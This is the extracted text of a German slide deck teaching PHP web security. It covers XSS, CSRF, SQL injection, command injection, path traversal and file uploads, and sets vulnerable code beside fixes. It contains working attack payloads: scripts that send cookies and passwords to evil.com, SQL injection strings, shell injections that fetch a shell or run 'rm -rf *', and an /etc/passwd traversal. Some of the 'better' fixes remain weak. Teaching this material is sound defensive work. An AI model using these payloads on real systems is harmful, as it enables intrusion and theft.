try {� var password = "owned";
var username = "";� jQuery.post('/admin/change_password.php?id=1', {� "password" : password;� "password_repeat" : password;� }, function(data) {� username = data.match(/\<span id="username"\>(.*?)\<\/span\>/)[0];� $('body').append('<img src="/admin/logout.php" />';� $('body').append('<img src="http://evil.com/owned.php?user='+username+'&password='+password+'" />';� });�} catch(e) { }�
PHP Security Brainwash
Rüdiger Marwein
Sicherheitslücke
Eine Sicherheitslücke ist im Gebiet der Informationssicherheit ein Fehler in einer Software, durch den ein Programm mit Schadwirkung (Malware) oder ein Angreifer in ein Computersystem eindringen kann.
Wikipedia: Sicherheitslücke (Software)
Beispiel
Das Leben ist eine Pralinenschachtel.
Beispiel
Das Geschäftsmodell unseres Unternehmens basiert auf der Ausbeutung von Kindern in der Dritten Welt. Alle gewebten Produkte wurden von Kinder-Sklaven hergestellt um den für Sie niedrigsten Preis möglich zu machen.
Für unsere Kunden: Das Geschenk zu jeder Bestellung noch in diesem Jahr ist eine Pralinenschachtel.
Potentielle Angriffsflächen
Benutzereingaben
Schutz für ...
Die beleuchteten Methoden
Cookies
Die Session-ID ist i.d.R. als Cookie gespeichert.
Über die Session-ID ist der Nutzer u.U. authentifiziert bei
... und hat entsprechende Rechte / Privilegien ...
XSS - Cross Site Scripting
CSRF - Cross site request forgery
XSS - Cross Site Scripting
CSRF - Cross site request forgery
$category = isset($_GET['category']) ? $_GET['category'] : '';
<h2>Aktuelle Kategorie: <?= $category; ?></h2>
Besser:
<h2>Aktuelle Kategorie: <?= htmlspecialchars($category); ?></h2>
Noch besser:
Nur echte / bekannte Kategorienamen zulassen
XSS - Cross Site Scripting
CSRF - Cross site request forgery
<h2>Aktuelle Kategorie: <?= $category; ?></h2>
Schadhafte Eingaben für $category:
<script type="text/javascript" src="http://evil.com/formdata_spy.js"></script>
<img src="http://meinblog.com/logout.php" />
<img src="http://careless-shop.com/password.php?new=owned" />
XSS - Cross Site Scripting
CSRF - Cross site request forgery
Würden Sie auf diesen Link klicken?
index.php?category=<script type="text/javascript" src="http://evil.com/formdata_spy.js"></script>
Vielleicht auf diesen Link?
http://www.spiegel.de@evil.com/lustig.php
Oder vielleicht auf diesen Link?
http://bit.ly/tBNBaj
XSS - Cross Site Scripting
CSRF - Cross site request forgery
Datei: http://evil.com/formdata_spy.js
for(i=0; i<document.forms.length; i++) {� document.forms[i].action = 'http://evil.com/save_formdata.php';� var hidden = document.createElement('input');� hidden.type = 'hidden';� hidden.name = 'cookies';� hidden.value = document.cookie;� document.forms[i].appendChild(hidden);�}�
XSS - Cross Site Scripting
CSRF - Cross site request forgery
$username = isset($_REQUEST['username']) ? $_REQUEST['username'] : '';
<input type="text" value="<?= $username ?>" name="username" />
Besser:
<input type="text" value="<?= htmlspecialchars($username) ?>" name="username" />
XSS - Cross Site Scripting
CSRF - Cross site request forgery
$username = isset($_REQUEST['username']) ? $_REQUEST['username'] : '';
<input type="text" value="<?= $username ?>" name="username" />
index.php?login_username=" /><h1>careless.com = Kinderarbeit</h1><a x="
<input type="text" value="" /><h1>careless.com = Kinderarbeit</h1><a x="" name="username" />
index.php?login_username=" /><script type="text/javascript" src="http://evil.com/formdata_spy.js"></script><a x="
XSS - Cross Site Scripting
CSRF - Cross site request forgery
$username = isset($_REQUEST['username']) ? $_REQUEST['username'] : '';
<input type="text" value="<?= htmlspecialchars($username) ?>" name="login_username" />
<input type="text" value="" /><script type="text/javascript" src="http://evil.com/formdata_spy.js"></script><a x="" name="login_username" />
SQL Injection
Fehlerquelle
Angriffsmöglichkeiten
SQL Injection
$query = "SELECT username,admin FROM users WHERE username='".$username."' AND passwd='".$password."'";
Besser:
$query = sprintf("SELECT username,admin FROM users WHERE username='%s' AND passwd='%s'",
$DB->real_escape_string($username) ,
$DB->real_escape_string($password) );
SQL Injection
$query = "SELECT username,admin FROM users WHERE username='".$username."' AND passwd='".$password."'";
Noch Besser (mysqli mit Binding):
// $DB = new mysqli( ... );
$query = "SELECT username,admin FROM users WHERE username=? AND passwd=?";
$stmt = $DB->prepare($query);
$stmt->bind_param('ss', $username, $password);
$stmt->execute();
$stmt->bind_result($res_username, $res_admin);
$stmt->fetch() ;
SQL Injection
$query = "SELECT username,admin FROM users WHERE username='".$username."' AND passwd='".$password."'";
Auch Besser (PDO mit Binding):
// $DB = new PDO( ... );
$query = "SELECT username,admin FROM users WHERE username=? AND passwd=?";
$stmt = $DB->prepare($query);
$stmt->execute(array($username, $password));
$rows = $stmt->fetchAll(PDO::FETCH_CLASS, 'stdClass');
SQL Injection
$query = "SELECT * FROM users WHERE username='".$username."' AND passwd='".$password."'";
Schadhafte Eingaben für $username oder $password:
' OR 1=1; --
' OR id=1; --
' OR 1=1 LIMIT 2,1; --
SQL Injection
$query = "SELECT id,date,title,text,image FROM news WHERE category='".$category."'";
Wer hat genug kriminelle Energie?
Tipps:
SQL Injection
$query = "SELECT id,date,title,text,image FROM news WHERE category='".$category."'";
Schadhafte Eingabe für $category:
' UNION SELECT 1, passwd, username, 2, 3 FROM users; --
Remote code execution
Fehlerquelle
Angriffsmöglichkeiten
Remote code execution
exec('tar czf secure/backup_'.date('Y-m-d').'.tgz '.$directory);
Besser:
exec('tar czf secure/backup_'.date(Y-m-d).'.tgz '.
escapeshellarg($directory));
Remote code execution
exec('tar czf secure/backup_'.date('Y-m-d').'.tgz '.$directory);
Schadhafte Eingaben für $directory:
; wget http://evil.com/shell.php
; rm -rf *
> /dev/null 2>&1; tar czvf download_files.tgz *
> /dev/null 2>&1; ab -n100 -c10 -t1 http://firma.de/suche.php?q=oder
Beliebiger Dateizugriff
Fehlerquelle
Angriffsmöglichkeiten
Beliebiger Dateizugriff
readfile(__DIR__.'/uploads/'.$file);
Besser (nur tieferer Pfad gestattet):
$file = str_replace('../','',$file);
Besser (kein Pfad gestattet):
$file = basename($file);
Beliebiger Dateizugriff
readfile(__DIR__.'/uploads/'.$file);
Schadhafte Eingabe für $file:
../index.php
../phpmyadmin/inc.config.php
../../../../../../../../etc/passwd
Datei-Upload
Fehlerquelle
Angriffsmöglichkeiten
Mimetype-Prüfung reicht nicht!
# cp blank.gif image.php
# cat shell.php >> image.php
# file image.php
image/gif
Datei-Upload
$file = isset($_FILES['image']) ? $_FILES['image'] : array();
if(!empty($file) && $file['error'] == 0) {
move_uploaded_file(
$file['tmp_name'],
$UPLOADFOLDER.'/'.$file['name']);
}
Datei-Upload
Besser:
$file = isset($_FILES['image']) ? $_FILES['image'] : array();
$fileTypes = array('gif', 'png', 'jpg');
if(!empty($file) && $file['error'] == 0)
$fileExtension = substr($file['name'],-3);
$isImage = substr($file['type'],0,5) == 'image';
$extValid = in_array($fileExtension, $fileTypes);
if($extValid && $isImage) {
move_uploaded_file(
$file['tmp_name'],
$UPLOADFOLDER.'/'.$file['name']);
}
}
if($_FILES['image']['error'] == 0) ...
Schadhafte Eingabe für $_FILES:
shell.php
exploit.tgz
AdobePhotoshopCS5.rar
Metallica-NothingElseMatters.mp3
...
Sonstiges - nicht behandelt
Der Schutz: �Kontextbezogen entwerten
HTML
htmlspecialchars
E-Mail Adresse� filter_var FILTER_SANITIZE_EMAIL
exec, system ...
escapeshellarg
include
basename
eval, preg_replace mit /e
alles Erdenklicke
Dateipfade
../ filtern, nur in Basispfad
Upload
Dateiendung und Mimetype
HTTP Header
\r\n
SQL
*real_escape_string
URL
rawurlencode
Vielen Dank
E-Mail-Header Injection
Fehlerquelle
Angriffsmöglichkeiten
Weitere:
Wiederholung: �Kontextbezogen entwerten
HTML
htmlspecialchars
Mail� filter_var FILTER_SANITIZE_EMAIL
exec,system, `` ...
escapeshellarg
include
basename
eval, preg_replace mit /e
alles Erdenkliche
Dateipfade
../ filtern, nur in Basispfad
Upload
Dateiendung und Mimetype
HTTP Header
\r\n
SQL
*real_escape_string
URL
rawurlencode